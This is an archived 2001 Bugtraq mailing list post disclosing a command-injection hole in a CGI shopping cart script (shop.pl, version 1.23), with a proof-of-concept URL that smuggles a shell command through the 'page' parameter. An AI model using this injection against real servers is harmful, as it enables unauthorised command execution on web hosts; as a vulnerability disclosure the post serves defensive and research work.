Bugtraq mailing list archives

Shopping Cart Version 1.23

From: Alexey Sintsov <don_huan () xakep ru>
Date: 8 Sep 2001 05:31:26 -0000

User can execute command, but can't use "../"
www.server.com/cgi-
local/shop.pl/SID=947626980.19094/page=;ls|
XP-TEAM
Don_Huan
xakepsin () quake ru